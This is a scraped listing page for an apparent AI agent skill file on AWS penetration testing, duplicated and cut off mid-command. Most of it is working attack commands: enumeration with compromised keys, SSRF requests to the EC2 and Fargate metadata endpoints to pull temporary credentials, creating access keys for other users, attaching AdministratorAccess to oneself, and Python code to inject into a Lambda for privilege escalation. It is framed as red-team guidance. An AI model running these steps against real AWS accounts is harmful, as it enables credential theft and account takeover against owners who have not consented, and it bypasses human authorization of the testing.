aws-penetration-testing

Name: aws-penetration-testing
Author: SamarthaKV29

64stars12forks

How to install aws-penetration-testing?

samarthakv29/antigravity-god-mode/aws-penetration-testing

$npx -y skills add SamarthaKV29/antigravity-god-mode --skill aws-penetration-testing

Installs into the current project.

Summary

This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessme

Files · 1

View on GitHub

SKILL.md

1	# AWS Penetration Testing
2
3	## Purpose
4
5	Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
6
7	## Inputs/Prerequisites
8
9	- AWS CLI configured with credentials
10	- Valid AWS credentials (even low-privilege)
11	- Understanding of AWS IAM model
12	- Python 3, boto3 library
13	- Tools: Pacu, Prowler, ScoutSuite, SkyArk
14
15	## Outputs/Deliverables
16
17	- IAM privilege escalation paths
18	- Extracted credentials and secrets
19	- Compromised EC2/Lambda/S3 resources
20	- Persistence mechanisms
21	- Security audit findings
22
23	---
24
25	## Essential Tools
26
27	\| Tool \| Purpose \| Installation \|
28	\|------\|---------\|--------------\|
29	\| Pacu \| AWS exploitation framework \| `git clone https://github.com/RhinoSecurityLabs/pacu` \|
30	\| SkyArk \| Shadow Admin discovery \| `Import-Module .\SkyArk.ps1` \|
31	\| Prowler \| Security auditing \| `pip install prowler` \|
32	\| ScoutSuite \| Multi-cloud auditing \| `pip install scoutsuite` \|
33	\| enumerate-iam \| Permission enumeration \| `git clone https://github.com/andresriancho/enumerate-iam` \|
34	\| Principal Mapper \| IAM analysis \| `pip install principalmapper` \|
35
36	---
37
38	## Core Workflow
39
40	### Step 1: Initial Enumeration
41
42	Identify the compromised identity and permissions:
43
44	```bash
45	# Check current identity
46	aws sts get-caller-identity
47
48	# Configure profile
49	aws configure --profile compromised
50
51	# List access keys
52	aws iam list-access-keys
53
54	# Enumerate permissions
55	./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
56	```
57
58	### Step 2: IAM Enumeration
59
60	```bash
61	# List all users
62	aws iam list-users
63
64	# List groups for user
65	aws iam list-groups-for-user --user-name TARGET_USER
66
67	# List attached policies
68	aws iam list-attached-user-policies --user-name TARGET_USER
69
70	# List inline policies
71	aws iam list-user-policies --user-name TARGET_USER
72
73	# Get policy details
74	aws iam get-policy --policy-arn POLICY_ARN
75	aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
76
77	# List roles
78	aws iam list-roles
79	aws iam list-attached-role-policies --role-name ROLE_NAME
80	```
81
82	### Step 3: Metadata SSRF (EC2)
83
84	Exploit SSRF to access metadata endpoint (IMDSv1):
85
86	```bash
87	# Access metadata endpoint
88	http://169.254.169.254/latest/meta-data/
89
90	# Get IAM role name
91	http://169.254.169.254/latest/meta-data/iam/security-credentials/
92
93	# Extract temporary credentials
94	http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
95
96	# Response contains:
97	{
98	"AccessKeyId": "ASIA...",
99	"SecretAccessKey": "...",
100	"Token": "...",
101	"Expiration": "2019-08-01T05:20:30Z"
102	}
103	```
104
105	For IMDSv2 (token required):
106
107	```bash
108	# Get token first
109	TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
110	"http://169.254.169.254/latest/api/token")
111
112	# Use token for requests
113	curl -H "X-aws-ec2-metadata-token:$TOKEN" \
114	"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
115	```
116
117	Fargate Container Credentials:
118
119	```bash
120	# Read environment for credential path
121	/proc/self/environ
122	# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
123
124	# Access credentials
125	http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
126	```
127
128	---
129
130	## Privilege Escalation Techniques
131
132	### Shadow Admin Permissions
133
134	These permissions are equivalent to administrator:
135
136	\| Permission \| Exploitation \|
137	\|------------\|--------------\|
138	\| `iam:CreateAccessKey` \| Create keys for admin user \|
139	\| `iam:CreateLoginProfile` \| Set password for any user \|
140	\| `iam:AttachUserPolicy` \| Attach admin policy to self \|
141	\| `iam:PutUserPolicy` \| Add inline admin policy \|
142	\| `iam:AddUserToGroup` \| Add self to admin group \|
143	\| `iam:PassRole` + `ec2:RunInstances` \| Launch EC2 with admin role \|
144	\| `lambda:UpdateFunctionCode` \| Inject code into Lambda \|
145
146	### Create Access Key for Another User
147
148	```bash
149	aws iam create-access-key --user-name target_user
150	```
151
152	### Attach Admin Policy
153
154	```bash
155	aws iam attach-user-policy --user-name my_username \
156	--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
157	```
158
159	### Add Inline Admin Policy
160
161	```bash
162	aws iam put-user-policy --user-name my_username \
163	--policy-name admin_policy \
164	--policy-document file://admin-policy.json
165	```
166
167	### Lambda Privilege Escalation
168
169	```python
170	# code.py - Inject into Lambda function
171	import boto3
172
173	def lambda_handler(event, context):
174	client = boto3.client('iam')
175	response = client.attach_user_policy(
176	UserName='my_username',
177	PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
178	)
179	return response
180	```
181
182	```bash
183	# Update Lambda code
184	aws lambda update-function-code --functio

People who liked this also viewed

6 picks

Type

aws-penetration-testing

64stars12forks

View on GitHub

How to install aws-penetration-testing?

samarthakv29/antigravity-god-mode/aws-penetration-testing

$npx -y skills add SamarthaKV29/antigravity-god-mode --skill aws-penetration-testing

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# AWS Penetration Testing
2
3	## Purpose
4
5	Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
6
7	## Inputs/Prerequisites
8
9	- AWS CLI configured with credentials
10	- Valid AWS credentials (even low-privilege)
11	- Understanding of AWS IAM model
12	- Python 3, boto3 library
13	- Tools: Pacu, Prowler, ScoutSuite, SkyArk
14
15	## Outputs/Deliverables
16
17	- IAM privilege escalation paths
18	- Extracted credentials and secrets
19	- Compromised EC2/Lambda/S3 resources
20	- Persistence mechanisms
21	- Security audit findings
22
23	---
24
25	## Essential Tools
26
27	\| Tool \| Purpose \| Installation \|
28	\|------\|---------\|--------------\|
29	\| Pacu \| AWS exploitation framework \| `git clone https://github.com/RhinoSecurityLabs/pacu` \|
30	\| SkyArk \| Shadow Admin discovery \| `Import-Module .\SkyArk.ps1` \|
31	\| Prowler \| Security auditing \| `pip install prowler` \|
32	\| ScoutSuite \| Multi-cloud auditing \| `pip install scoutsuite` \|
33	\| enumerate-iam \| Permission enumeration \| `git clone https://github.com/andresriancho/enumerate-iam` \|
34	\| Principal Mapper \| IAM analysis \| `pip install principalmapper` \|
35
36	---
37
38	## Core Workflow
39
40	### Step 1: Initial Enumeration
41
42	Identify the compromised identity and permissions:
43
44	```bash
45	# Check current identity
46	aws sts get-caller-identity
47
48	# Configure profile
49	aws configure --profile compromised
50
51	# List access keys
52	aws iam list-access-keys
53
54	# Enumerate permissions
55	./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
56	```
57
58	### Step 2: IAM Enumeration
59
60	```bash
61	# List all users
62	aws iam list-users
63
64	# List groups for user
65	aws iam list-groups-for-user --user-name TARGET_USER
66
67	# List attached policies
68	aws iam list-attached-user-policies --user-name TARGET_USER
69
70	# List inline policies
71	aws iam list-user-policies --user-name TARGET_USER
72
73	# Get policy details
74	aws iam get-policy --policy-arn POLICY_ARN
75	aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
76
77	# List roles
78	aws iam list-roles
79	aws iam list-attached-role-policies --role-name ROLE_NAME
80	```
81
82	### Step 3: Metadata SSRF (EC2)
83
84	Exploit SSRF to access metadata endpoint (IMDSv1):
85
86	```bash
87	# Access metadata endpoint
88	http://169.254.169.254/latest/meta-data/
89
90	# Get IAM role name
91	http://169.254.169.254/latest/meta-data/iam/security-credentials/
92
93	# Extract temporary credentials
94	http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
95
96	# Response contains:
97	{
98	"AccessKeyId": "ASIA...",
99	"SecretAccessKey": "...",
100	"Token": "...",
101	"Expiration": "2019-08-01T05:20:30Z"
102	}
103	```
104
105	For IMDSv2 (token required):
106
107	```bash
108	# Get token first
109	TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
110	"http://169.254.169.254/latest/api/token")
111
112	# Use token for requests
113	curl -H "X-aws-ec2-metadata-token:$TOKEN" \
114	"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
115	```
116
117	Fargate Container Credentials:
118
119	```bash
120	# Read environment for credential path
121	/proc/self/environ
122	# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
123
124	# Access credentials
125	http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
126	```
127
128	---
129
130	## Privilege Escalation Techniques
131
132	### Shadow Admin Permissions
133
134	These permissions are equivalent to administrator:
135
136	\| Permission \| Exploitation \|
137	\|------------\|--------------\|
138	\| `iam:CreateAccessKey` \| Create keys for admin user \|
139	\| `iam:CreateLoginProfile` \| Set password for any user \|
140	\| `iam:AttachUserPolicy` \| Attach admin policy to self \|
141	\| `iam:PutUserPolicy` \| Add inline admin policy \|
142	\| `iam:AddUserToGroup` \| Add self to admin group \|
143	\| `iam:PassRole` + `ec2:RunInstances` \| Launch EC2 with admin role \|
144	\| `lambda:UpdateFunctionCode` \| Inject code into Lambda \|
145
146	### Create Access Key for Another User
147
148	```bash
149	aws iam create-access-key --user-name target_user
150	```
151
152	### Attach Admin Policy
153
154	```bash
155	aws iam attach-user-policy --user-name my_username \
156	--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
157	```
158
159	### Add Inline Admin Policy
160
161	```bash
162	aws iam put-user-policy --user-name my_username \
163	--policy-name admin_policy \
164	--policy-document file://admin-policy.json
165	```
166
167	### Lambda Privilege Escalation
168
169	```python
170	# code.py - Inject into Lambda function
171	import boto3
172
173	def lambda_handler(event, context):
174	client = boto3.client('iam')
175	response = client.attach_user_policy(
176	UserName='my_username',
177	PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
178	)
179	return response
180	```
181
182	```bash
183	# Update Lambda code
184	aws lambda update-function-code --functio

People who liked this also viewed

6 picks

Type